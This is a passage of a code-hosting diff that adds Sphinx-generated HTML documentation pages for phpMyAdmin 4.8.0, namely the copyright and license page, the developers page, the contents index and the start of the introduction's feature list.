+    <div class="related" role="navigation" aria-label="related navigation"> 


 
+      <h3>Navigation</h3> 


 
+      <ul> 


 
+        <li class="right" style="margin-right: 10px"> 


 
+          <a href="genindex.html" title="General Index" 


 
+             accesskey="I">index</a></li> 


 
+        <li class="right" > 


 
+          <a href="credits.html" title="Credits" 


 
+             accesskey="N">next</a> |</li> 


 
+        <li class="right" > 


 
+          <a href="vendors.html" title="Distributing and packaging phpMyAdmin" 


 
+             accesskey="P">previous</a> |</li> 


 
+        <li class="nav-item nav-item-0"><a href="index.html">phpMyAdmin 4.8.0 documentation</a> &#187;</li>  


 
+      </ul> 


 
+    </div>   


 
+ 


 
+    <div class="document"> 


 
+      <div class="documentwrapper"> 


 
+        <div class="bodywrapper"> 


 
+          <div class="body" role="main"> 


 
+             


 
+  <div class="section" id="copyright"> 


 
+<span id="id1"></span><h1>Copyright<a class="headerlink" href="#copyright" title="Permalink to this headline">¶</a></h1> 


 
+<div class="highlight-none"><div class="highlight"><pre><span></span>Copyright (C) 1998-2000 Tobias Ratschiller &lt;tobias_at_ratschiller.com&gt; 


 
+Copyright (C) 2001-2018 Marc Delisle &lt;marc_at_infomarc.info&gt; 


 
+    Olivier Müller &lt;om_at_omnis.ch&gt; 


 
+    Robin Johnson &lt;robbat2_at_users.sourceforge.net&gt; 


 
+    Alexander M. Turek &lt;me_at_derrabus.de&gt; 


 
+    Michal Čihař &lt;michal_at_cihar.com&gt; 


 
+    Garvin Hicking &lt;me_at_supergarv.de&gt; 


 
+    Michael Keck &lt;mkkeck_at_users.sourceforge.net&gt; 


 
+    Sebastian Mendel &lt;cybot_tm_at_users.sourceforge.net&gt; 


 
+    [check credits for more details] 


 
+</pre></div> 


 
+</div> 


 
+<p>This program is free software; you can redistribute it and/or modify 


 
+it under the terms of the GNU General Public License version 2, as 


 
+published by the Free Software Foundation.</p> 


 
+<p>This program is distributed in the hope that it will be useful, but 


 
+WITHOUT ANY WARRANTY; without even the implied warranty of 


 
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 


 
+General Public License for more details.</p> 


 
+<p>You should have received a copy of the GNU General Public License 


 
+along with this program. If not, see &lt;<a class="reference external" href="https://www.gnu.org/licenses/">https://www.gnu.org/licenses/</a>&gt;.</p> 


 
+<div class="section" id="third-party-licenses"> 


 
+<h2>Third party licenses<a class="headerlink" href="#third-party-licenses" title="Permalink to this headline">¶</a></h2> 


 
+<p>phpMyAdmin includes several third party libraries which come under their 


 
+respective licenses.</p> 


 
+<p>jQuery&#8217;s license, which is where we got the files under js/vendor/jquery/ is 


 
+(MIT|GPL), a copy of each license is available in this repository (GPL 


 
+is available as LICENSE, MIT as js/vendor/jquery/MIT-LICENSE.txt).</p> 


 
+<p>The download kit additionally includes several composer libraries. See their 


 
+licensing information in the vendor/ directory.</p> 


 
+</div> 


 
+</div> 


 
+ 


 
+ 


 
+          </div> 


 
+        </div> 


 
+      </div> 


 
+      <div class="sphinxsidebar" role="navigation" aria-label="main navigation"> 


 
+        <div class="sphinxsidebarwrapper"> 


 
+  <h3><a href="index.html">Table Of Contents</a></h3> 


 
+  <ul> 


 
+<li><a class="reference internal" href="#">Copyright</a><ul> 


 
+<li><a class="reference internal" href="#third-party-licenses">Third party licenses</a></li> 


 
+</ul> 


 
+</li> 


 
+</ul> 


 
+ 


 
+  <h4>Previous topic</h4> 


 
+  <p class="topless"><a href="vendors.html" 


 
+                        title="previous chapter">Distributing and packaging phpMyAdmin</a></p> 


 
+  <h4>Next topic</h4> 


 
+  <p class="topless"><a href="credits.html" 


 
+                        title="next chapter">Credits</a></p> 


 
+  <div role="note" aria-label="source link"> 


 
+    <h3>This Page</h3> 


 
+    <ul class="this-page-menu"> 


 
+      <li><a href="_sources/copyright.txt" 


 
+            rel="nofollow">Show Source</a></li> 


 
+    </ul> 


 
+   </div> 


 
+<div id="searchbox" style="display: none" role="search"> 


 
+  <h3>Quick search</h3> 


 
+    <form class="search" action="search.html" method="get"> 


 
+      <div><input type="text" name="q" /></div> 


 
+      <div><input type="submit" value="Go" /></div> 


 
+      <input type="hidden" name="check_keywords" value="yes" /> 


 
+      <input type="hidden" name="area" value="default" /> 


 
+    </form> 


 
+</div> 


 
+<script type="text/javascript">$('#searchbox').show(0);</script> 


 
+        </div> 


 
+      </div> 


 
+      <div class="clearer"></div> 


 
+    </div> 


 
+    <div class="related" role="navigation" aria-label="related navigation"> 


 
+      <h3>Navigation</h3> 


 
+      <ul> 


 
+        <li class="right" style="margin-right: 10px"> 


 
+          <a href="genindex.html" title="General Index" 


 
+             >index</a></li> 


 
+        <li class="right" > 


 
+          <a href="credits.html" title="Credits" 


 
+             >next</a> |</li> 


 
+        <li class="right" > 


 
+          <a href="vendors.html" title="Distributing and packaging phpMyAdmin" 


 
+             >previous</a> |</li> 


 
+        <li class="nav-item nav-item-0"><a href="index.html">phpMyAdmin 4.8.0 documentation</a> &#187;</li>  


 
+      </ul> 


 
+    </div> 


 
+    <div class="footer" role="contentinfo"> 


 
+        &#169; <a href="#">Copyright</a> 2012 - 2018, The phpMyAdmin devel team. 


 
+      Created using <a href="http://sphinx-doc.org/">Sphinx</a> 1.4.9. 


 
+    </div> 


 
+  </body> 


 
+</html>  
 
1,353 phpMyAdmin-4.8.0-all-languages/doc/html/credits.html 

 
Load diff
Large diffs are not rendered by default. 
 
117 phpMyAdmin-4.8.0-all-languages/doc/html/developers.html 


@@ -0,0 +1,117 @@


 
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" 


 
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 


 
+ 


 
+ 


 
+<html xmlns="http://www.w3.org/1999/xhtml"> 


 
+  <head> 


 
+    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 


 
+     


 
+    <title>Developers Information &#8212; phpMyAdmin 4.8.0 documentation</title> 


 
+     


 
+    <link rel="stylesheet" href="_static/classic.css" type="text/css" /> 


 
+    <link rel="stylesheet" href="_static/pygments.css" type="text/css" /> 


 
+     


 
+    <script type="text/javascript"> 


 
+      var DOCUMENTATION_OPTIONS = { 


 
+        URL_ROOT:    './', 


 
+        VERSION:     '4.8.0', 


 
+        COLLAPSE_INDEX: false, 


 
+        FILE_SUFFIX: '.html', 


 
+        HAS_SOURCE:  true 


 
+      }; 


 
+    </script> 


 
+    <script type="text/javascript" src="_static/jquery.js"></script> 


 
+    <script type="text/javascript" src="_static/underscore.js"></script> 


 
+    <script type="text/javascript" src="_static/doctools.js"></script> 


 
+    <link rel="index" title="Index" href="genindex.html" /> 


 
+    <link rel="search" title="Search" href="search.html" /> 


 
+    <link rel="copyright" title="Copyright" href="copyright.html" /> 


 
+    <link rel="top" title="phpMyAdmin 4.8.0 documentation" href="index.html" /> 


 
+    <link rel="next" title="Security policy" href="security.html" /> 


 
+    <link rel="prev" title="FAQ - Frequently Asked Questions" href="faq.html" />  


 
+  </head> 


 
+  <body role="document"> 


 
+    <div class="related" role="navigation" aria-label="related navigation"> 


 
+      <h3>Navigation</h3> 


 
+      <ul> 


 
+        <li class="right" style="margin-right: 10px"> 


 
+          <a href="genindex.html" title="General Index" 


 
+             accesskey="I">index</a></li> 


 
+        <li class="right" > 


 
+          <a href="security.html" title="Security policy" 


 
+             accesskey="N">next</a> |</li> 


 
+        <li class="right" > 


 
+          <a href="faq.html" title="FAQ - Frequently Asked Questions" 


 
+             accesskey="P">previous</a> |</li> 


 
+        <li class="nav-item nav-item-0"><a href="index.html">phpMyAdmin 4.8.0 documentation</a> &#187;</li>  


 
+      </ul> 


 
+    </div>   


 
+ 


 
+    <div class="document"> 


 
+      <div class="documentwrapper"> 


 
+        <div class="bodywrapper"> 


 
+          <div class="body" role="main"> 


 
+             


 
+  <div class="section" id="developers-information"> 


 
+<span id="developers"></span><h1>Developers Information<a class="headerlink" href="#developers-information" title="Permalink to this headline">¶</a></h1> 


 
+<p>phpMyAdmin is Open Source, so you&#8217;re invited to contribute to it. Many 


 
+great features have been written by other people and you too can help 


 
+to make phpMyAdmin a useful tool.</p> 


 
+<p>You can check out all the possibilities to contribute in the 


 
+<a class="reference external" href="https://www.phpmyadmin.net/contribute/">contribute section on our website</a>.</p> 


 
+</div> 


 
+ 


 
+ 


 
+          </div> 


 
+        </div> 


 
+      </div> 


 
+      <div class="sphinxsidebar" role="navigation" aria-label="main navigation"> 


 
+        <div class="sphinxsidebarwrapper"> 


 
+  <h4>Previous topic</h4> 


 
+  <p class="topless"><a href="faq.html" 


 
+                        title="previous chapter">FAQ - Frequently Asked Questions</a></p> 


 
+  <h4>Next topic</h4> 


 
+  <p class="topless"><a href="security.html" 


 
+                        title="next chapter">Security policy</a></p> 


 
+  <div role="note" aria-label="source link"> 


 
+    <h3>This Page</h3> 


 
+    <ul class="this-page-menu"> 


 
+      <li><a href="_sources/developers.txt" 


 
+            rel="nofollow">Show Source</a></li> 


 
+    </ul> 


 
+   </div> 


 
+<div id="searchbox" style="display: none" role="search"> 


 
+  <h3>Quick search</h3> 


 
+    <form class="search" action="search.html" method="get"> 


 
+      <div><input type="text" name="q" /></div> 


 
+      <div><input type="submit" value="Go" /></div> 


 
+      <input type="hidden" name="check_keywords" value="yes" /> 


 
+      <input type="hidden" name="area" value="default" /> 


 
+    </form> 


 
+</div> 


 
+<script type="text/javascript">$('#searchbox').show(0);</script> 


 
+        </div> 


 
+      </div> 


 
+      <div class="clearer"></div> 


 
+    </div> 


 
+    <div class="related" role="navigation" aria-label="related navigation"> 


 
+      <h3>Navigation</h3> 


 
+      <ul> 


 
+        <li class="right" style="margin-right: 10px"> 


 
+          <a href="genindex.html" title="General Index" 


 
+             >index</a></li> 


 
+        <li class="right" > 


 
+          <a href="security.html" title="Security policy" 


 
+             >next</a> |</li> 


 
+        <li class="right" > 


 
+          <a href="faq.html" title="FAQ - Frequently Asked Questions" 


 
+             >previous</a> |</li> 


 
+        <li class="nav-item nav-item-0"><a href="index.html">phpMyAdmin 4.8.0 documentation</a> &#187;</li>  


 
+      </ul> 


 
+    </div> 


 
+    <div class="footer" role="contentinfo"> 


 
+        &#169; <a href="copyright.html">Copyright</a> 2012 - 2018, The phpMyAdmin devel team. 


 
+      Created using <a href="http://sphinx-doc.org/">Sphinx</a> 1.4.9. 


 
+    </div> 


 
+  </body> 


 
+</html>  
 
2,017 phpMyAdmin-4.8.0-all-languages/doc/html/faq.html 

 
Load diff
Large diffs are not rendered by default. 
 
4,265 phpMyAdmin-4.8.0-all-languages/doc/html/genindex.html 

 
Load diff
Large diffs are not rendered by default. 
 
638 phpMyAdmin-4.8.0-all-languages/doc/html/glossary.html 

 
Load diff
Large diffs are not rendered by default. 
 
470 phpMyAdmin-4.8.0-all-languages/doc/html/import_export.html 

 
Load diff
Large diffs are not rendered by default. 
 
228 phpMyAdmin-4.8.0-all-languages/doc/html/index.html 


@@ -0,0 +1,228 @@


 
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" 


 
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 


 
+ 


 
+ 


 
+<html xmlns="http://www.w3.org/1999/xhtml"> 


 
+  <head> 


 
+    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 


 
+     


 
+    <title>Welcome to phpMyAdmin’s documentation! &#8212; phpMyAdmin 4.8.0 documentation</title> 


 
+     


 
+    <link rel="stylesheet" href="_static/classic.css" type="text/css" /> 


 
+    <link rel="stylesheet" href="_static/pygments.css" type="text/css" /> 


 
+     


 
+    <script type="text/javascript"> 


 
+      var DOCUMENTATION_OPTIONS = { 


 
+        URL_ROOT:    './', 


 
+        VERSION:     '4.8.0', 


 
+        COLLAPSE_INDEX: false, 


 
+        FILE_SUFFIX: '.html', 


 
+        HAS_SOURCE:  true 


 
+      }; 


 
+    </script> 


 
+    <script type="text/javascript" src="_static/jquery.js"></script> 


 
+    <script type="text/javascript" src="_static/underscore.js"></script> 


 
+    <script type="text/javascript" src="_static/doctools.js"></script> 


 
+    <link rel="index" title="Index" href="genindex.html" /> 


 
+    <link rel="search" title="Search" href="search.html" /> 


 
+    <link rel="copyright" title="Copyright" href="copyright.html" /> 


 
+    <link rel="top" title="phpMyAdmin 4.8.0 documentation" href="#" /> 


 
+    <link rel="next" title="Introduction" href="intro.html" />  


 
+  </head> 


 
+  <body role="document"> 


 
+    <div class="related" role="navigation" aria-label="related navigation"> 


 
+      <h3>Navigation</h3> 


 
+      <ul> 


 
+        <li class="right" style="margin-right: 10px"> 


 
+          <a href="genindex.html" title="General Index" 


 
+             accesskey="I">index</a></li> 


 
+        <li class="right" > 


 
+          <a href="intro.html" title="Introduction" 


 
+             accesskey="N">next</a> |</li> 


 
+        <li class="nav-item nav-item-0"><a href="#">phpMyAdmin 4.8.0 documentation</a> &#187;</li>  


 
+      </ul> 


 
+    </div>   


 
+ 


 
+    <div class="document"> 


 
+      <div class="documentwrapper"> 


 
+        <div class="bodywrapper"> 


 
+          <div class="body" role="main"> 


 
+             


 
+  <div class="section" id="welcome-to-phpmyadmin-s-documentation"> 


 
+<h1>Welcome to phpMyAdmin&#8217;s documentation!<a class="headerlink" href="#welcome-to-phpmyadmin-s-documentation" title="Permalink to this headline">¶</a></h1> 


 
+<p>Contents:</p> 


 
+<div class="toctree-wrapper compound"> 


 
+<ul> 


 
+<li class="toctree-l1"><a class="reference internal" href="intro.html">Introduction</a><ul> 


 
+<li class="toctree-l2"><a class="reference internal" href="intro.html#supported-features">Supported features</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="intro.html#shortcut-keys">Shortcut keys</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="intro.html#a-word-about-users">A word about users</a></li> 


 
+</ul> 


 
+</li> 


 
+<li class="toctree-l1"><a class="reference internal" href="require.html">Requirements</a><ul> 


 
+<li class="toctree-l2"><a class="reference internal" href="require.html#web-server">Web server</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="require.html#php">PHP</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="require.html#database">Database</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="require.html#web-browser">Web browser</a></li> 


 
+</ul> 


 
+</li> 


 
+<li class="toctree-l1"><a class="reference internal" href="setup.html">Installation</a><ul> 


 
+<li class="toctree-l2"><a class="reference internal" href="setup.html#linux-distributions">Linux distributions</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="setup.html#installing-on-windows">Installing on Windows</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="setup.html#installing-from-git">Installing from Git</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="setup.html#installing-using-composer">Installing using Composer</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="setup.html#installing-using-docker">Installing using Docker</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="setup.html#quick-install">Quick Install</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="setup.html#verifying-phpmyadmin-releases">Verifying phpMyAdmin releases</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="setup.html#phpmyadmin-configuration-storage">phpMyAdmin configuration storage</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="setup.html#upgrading-from-an-older-version">Upgrading from an older version</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="setup.html#using-authentication-modes">Using authentication modes</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="setup.html#securing-your-phpmyadmin-installation">Securing your phpMyAdmin installation</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="setup.html#using-ssl-for-connection-to-database-server">Using SSL for connection to database server</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="setup.html#known-issues">Known issues</a></li> 


 
+</ul> 


 
+</li> 


 
+<li class="toctree-l1"><a class="reference internal" href="config.html">Configuration</a><ul> 


 
+<li class="toctree-l2"><a class="reference internal" href="config.html#basic-settings">Basic settings</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="config.html#server-connection-settings">Server connection settings</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="config.html#generic-settings">Generic settings</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="config.html#cookie-authentication-options">Cookie authentication options</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="config.html#navigation-panel-setup">Navigation panel setup</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="config.html#main-panel">Main panel</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="config.html#database-structure">Database structure</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="config.html#browse-mode">Browse mode</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="config.html#editing-mode">Editing mode</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="config.html#export-and-import-settings">Export and import settings</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="config.html#tabs-display-settings">Tabs display settings</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="config.html#pdf-options">PDF Options</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="config.html#languages">Languages</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="config.html#web-server-settings">Web server settings</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="config.html#theme-settings">Theme settings</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="config.html#design-customization">Design customization</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="config.html#text-fields">Text fields</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="config.html#sql-query-box-settings">SQL query box settings</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="config.html#web-server-upload-save-import-directories">Web server upload/save/import directories</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="config.html#various-display-setting">Various display setting</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="config.html#page-titles">Page titles</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="config.html#theme-manager-settings">Theme manager settings</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="config.html#default-queries">Default queries</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="config.html#mysql-settings">MySQL settings</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="config.html#default-options-for-transformations">Default options for Transformations</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="config.html#console-settings">Console settings</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="config.html#developer">Developer</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="config.html#examples">Examples</a></li> 


 
+</ul> 


 
+</li> 


 
+<li class="toctree-l1"><a class="reference internal" href="user.html">User Guide</a><ul> 


 
+<li class="toctree-l2"><a class="reference internal" href="settings.html">Configuring phpMyAdmin</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="two_factor.html">Two-factor authentication</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="transformations.html">Transformations</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="bookmarks.html">Bookmarks</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="privileges.html">User management</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="relations.html">Relations</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="charts.html">Charts</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="import_export.html">Import and export</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="themes.html">Custom Themes</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="other.html">Other sources of information</a></li> 


 
+</ul> 


 
+</li> 


 
+<li class="toctree-l1"><a class="reference internal" href="faq.html">FAQ - Frequently Asked Questions</a><ul> 


 
+<li class="toctree-l2"><a class="reference internal" href="faq.html#server">Server</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="faq.html#configuration">Configuration</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="faq.html#known-limitations">Known limitations</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="faq.html#isps-multi-user-installations">ISPs, multi-user installations</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="faq.html#browsers-or-client-os">Browsers or client OS</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="faq.html#using-phpmyadmin">Using phpMyAdmin</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="faq.html#phpmyadmin-project">phpMyAdmin project</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="faq.html#security">Security</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="faq.html#synchronization">Synchronization</a></li> 


 
+</ul> 


 
+</li> 


 
+<li class="toctree-l1"><a class="reference internal" href="developers.html">Developers Information</a></li> 


 
+<li class="toctree-l1"><a class="reference internal" href="security.html">Security policy</a><ul> 


 
+<li class="toctree-l2"><a class="reference internal" href="security.html#typical-vulnerabilities">Typical vulnerabilities</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="security.html#reporting-security-issues">Reporting security issues</a></li> 


 
+</ul> 


 
+</li> 


 
+<li class="toctree-l1"><a class="reference internal" href="vendors.html">Distributing and packaging phpMyAdmin</a><ul> 


 
+<li class="toctree-l2"><a class="reference internal" href="vendors.html#external-libraries">External libraries</a></li> 


 
+</ul> 


 
+</li> 


 
+<li class="toctree-l1"><a class="reference internal" href="copyright.html">Copyright</a><ul> 


 
+<li class="toctree-l2"><a class="reference internal" href="copyright.html#third-party-licenses">Third party licenses</a></li> 


 
+</ul> 


 
+</li> 


 
+<li class="toctree-l1"><a class="reference internal" href="credits.html">Credits</a><ul> 


 
+<li class="toctree-l2"><a class="reference internal" href="credits.html#credits-in-chronological-order">Credits, in chronological order</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="credits.html#translators">Translators</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="credits.html#documentation-translators">Documentation translators</a></li> 


 
+<li class="toctree-l2"><a class="reference internal" href="credits.html#original-credits-of-version-2-1-0">Original Credits of Version 2.1.0</a></li> 


 
+</ul> 


 
+</li> 


 
+<li class="toctree-l1"><a class="reference internal" href="glossary.html">Glossary</a></li> 


 
+</ul> 


 
+</div> 


 
+</div> 


 
+<div class="section" id="indices-and-tables"> 


 
+<h1>Indices and tables<a class="headerlink" href="#indices-and-tables" title="Permalink to this headline">¶</a></h1> 


 
+<ul class="simple"> 


 
+<li><a class="reference internal" href="genindex.html"><span class="std std-ref">Index</span></a></li> 


 
+<li><a class="reference internal" href="search.html"><span class="std std-ref">Search Page</span></a></li> 


 
+<li><a class="reference internal" href="glossary.html#glossary"><span class="std std-ref">Glossary</span></a></li> 


 
+</ul> 


 
+</div> 


 
+ 


 
+ 


 
+          </div> 


 
+        </div> 


 
+      </div> 


 
+      <div class="sphinxsidebar" role="navigation" aria-label="main navigation"> 


 
+        <div class="sphinxsidebarwrapper"> 


 
+  <h3><a href="#">Table Of Contents</a></h3> 


 
+  <ul> 


 
+<li><a class="reference internal" href="#">Welcome to phpMyAdmin&#8217;s documentation!</a></li> 


 
+<li><a class="reference internal" href="#indices-and-tables">Indices and tables</a></li> 


 
+</ul> 


 
+ 


 
+  <h4>Next topic</h4> 


 
+  <p class="topless"><a href="intro.html" 


 
+                        title="next chapter">Introduction</a></p> 


 
+  <div role="note" aria-label="source link"> 


 
+    <h3>This Page</h3> 


 
+    <ul class="this-page-menu"> 


 
+      <li><a href="_sources/index.txt" 


 
+            rel="nofollow">Show Source</a></li> 


 
+    </ul> 


 
+   </div> 


 
+<div id="searchbox" style="display: none" role="search"> 


 
+  <h3>Quick search</h3> 


 
+    <form class="search" action="search.html" method="get"> 


 
+      <div><input type="text" name="q" /></div> 


 
+      <div><input type="submit" value="Go" /></div> 


 
+      <input type="hidden" name="check_keywords" value="yes" /> 


 
+      <input type="hidden" name="area" value="default" /> 


 
+    </form> 


 
+</div> 


 
+<script type="text/javascript">$('#searchbox').show(0);</script> 


 
+        </div> 


 
+      </div> 


 
+      <div class="clearer"></div> 


 
+    </div> 


 
+    <div class="related" role="navigation" aria-label="related navigation"> 


 
+      <h3>Navigation</h3> 


 
+      <ul> 


 
+        <li class="right" style="margin-right: 10px"> 


 
+          <a href="genindex.html" title="General Index" 


 
+             >index</a></li> 


 
+        <li class="right" > 


 
+          <a href="intro.html" title="Introduction" 


 
+             >next</a> |</li> 


 
+        <li class="nav-item nav-item-0"><a href="#">phpMyAdmin 4.8.0 documentation</a> &#187;</li>  


 
+      </ul> 


 
+    </div> 


 
+    <div class="footer" role="contentinfo"> 


 
+        &#169; <a href="copyright.html">Copyright</a> 2012 - 2018, The phpMyAdmin devel team. 


 
+      Created using <a href="http://sphinx-doc.org/">Sphinx</a> 1.4.9. 


 
+    </div> 


 
+  </body> 


 
+</html>  
 
195 phpMyAdmin-4.8.0-all-languages/doc/html/intro.html 


@@ -0,0 +1,195 @@


 
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" 


 
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 


 
+ 


 
+ 


 
+<html xmlns="http://www.w3.org/1999/xhtml"> 


 
+  <head> 


 
+    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 


 
+     


 
+    <title>Introduction &#8212; phpMyAdmin 4.8.0 documentation</title> 


 
+     


 
+    <link rel="stylesheet" href="_static/classic.css" type="text/css" /> 


 
+    <link rel="stylesheet" href="_static/pygments.css" type="text/css" /> 


 
+     


 
+    <script type="text/javascript"> 


 
+      var DOCUMENTATION_OPTIONS = { 


 
+        URL_ROOT:    './', 


 
+        VERSION:     '4.8.0', 


 
+        COLLAPSE_INDEX: false, 


 
+        FILE_SUFFIX: '.html', 


 
+        HAS_SOURCE:  true 


 
+      }; 


 
+    </script> 


 
+    <script type="text/javascript" src="_static/jquery.js"></script> 


 
+    <script type="text/javascript" src="_static/underscore.js"></script> 


 
+    <script type="text/javascript" src="_static/doctools.js"></script> 


 
+    <link rel="index" title="Index" href="genindex.html" /> 


 
+    <link rel="search" title="Search" href="search.html" /> 


 
+    <link rel="copyright" title="Copyright" href="copyright.html" /> 


 
+    <link rel="top" title="phpMyAdmin 4.8.0 documentation" href="index.html" /> 


 
+    <link rel="next" title="Requirements" href="require.html" /> 


 
+    <link rel="prev" title="Welcome to phpMyAdmin’s documentation!" href="index.html" />  


 
+  </head> 


 
+  <body role="document"> 


 
+    <div class="related" role="navigation" aria-label="related navigation"> 


 
+      <h3>Navigation</h3> 


 
+      <ul> 


 
+        <li class="right" style="margin-right: 10px"> 


 
+          <a href="genindex.html" title="General Index" 


 
+             accesskey="I">index</a></li> 


 
+        <li class="right" > 


 
+          <a href="require.html" title="Requirements" 


 
+             accesskey="N">next</a> |</li> 


 
+        <li class="right" > 


 
+          <a href="index.html" title="Welcome to phpMyAdmin’s documentation!" 


 
+             accesskey="P">previous</a> |</li> 


 
+        <li class="nav-item nav-item-0"><a href="index.html">phpMyAdmin 4.8.0 documentation</a> &#187;</li>  


 
+      </ul> 


 
+    </div>   


 
+ 


 
+    <div class="document"> 


 
+      <div class="documentwrapper"> 


 
+        <div class="bodywrapper"> 


 
+          <div class="body" role="main"> 


 
+             


 
+  <div class="section" id="introduction"> 


 
+<span id="intro"></span><h1>Introduction<a class="headerlink" href="#introduction" title="Permalink to this headline">¶</a></h1> 


 
+<p>phpMyAdmin is a free software tool written in PHP that is intended to handle the 


 
+administration of a MySQL or MariaDB database server. You can use phpMyAdmin to 


 
+perform most administration tasks, including creating a database, running queries, 


 
+and adding user accounts.</p> 


 
+<div class="section" id="supported-features"> 


 
+<h2>Supported features<a class="headerlink" href="#supported-features" title="Permalink to this headline">¶</a></h2> 


 
+<p>Currently phpMyAdmin can:</p> 


 
+<ul class="simple"> 


 
+<li>create, browse, edit, and drop databases, tables, views, columns, and indexes</li> 


 
+<li>display multiple results sets through stored procedures or queries</li> 


 
+<li>create, copy, drop, rename and alter databases, tables, columns and 


 
+indexes</li> 


 
+<li>maintenance server, databases and tables, with proposals on server 


 
+configuration</li> 


 
+<li>execute, edit and bookmark any <a class="reference internal" href="glossary.html#term-sql"><span class="xref std std-term">SQL</span></a>-statement, even batch-queries</li> 


 
+<li>load text files into tables</li> 


 
+<li>create <a class="footnote-reference" href="#f1" id="id1">[1]</a> and read dumps of tables</li> 


 
+<li>export <a class="footnote-reference" href="#f1" id="id2">[1]</a> data to various formats: <a class="reference internal" href="glossary.html#term-csv"><span class="xref std std-term">CSV</span></a>, <a class="reference internal" href="glossary.html#term-xml"><span class="xref std std-term">XML</span></a>, <a class="reference internal" href="glossary.html#term-pdf"><span class="xref std std-term">PDF</span></a>, 


 
+<a class="reference internal" href="glossary.html#term-iso"><span class="xref std std-term">ISO</span></a>/<a class="reference internal" href="glossary.html#term-iec"><span class="xref std std-term">IEC</span></a> 26300 - <a class="reference internal" href="glossary.html#term-opendocument"><span class="xref std std-term">OpenDocument</span></a> Text and Spreadsheet, Microsoft 


 
+Word 2000, and LATEX formats</li> 


 
+<li>import data and <a class="reference internal" href="glossary.html#term-48"><span class="xref std std-term">MySQL</span></a> structures from <a class="reference internal" href="glossary.html#term-opendocument"><span class="xref std std-term">OpenDocument</span></a> spreadsheets, as 


 
+well as <a class="reference internal" href="glossary.html#term-xml"><span class="xref std std-term">XML</span></a>, <a class="reference internal" href="glossary.html#term-csv"><span class="xref std std-term">CSV</span></a>, and <a class="reference internal" href="glossary.html#term-sql"><span class="xref std std-term">SQL</span></a> files</li> 


 
+<li>administer multiple servers</li> 


 
+<li>add, edit, and remove MySQL user accounts and privileges</li> 


 
+<li>check referential integrity in MyISAM tables</li> 


 
+<li>using Query-by-example (QBE), create complex queries automatically 


 
+connecting required tables</li> 


 
+<li>create <a class="reference internal" href="glossary.html#term-pdf"><span class="xref std std-term">PDF</span></a> graphics of your 


 
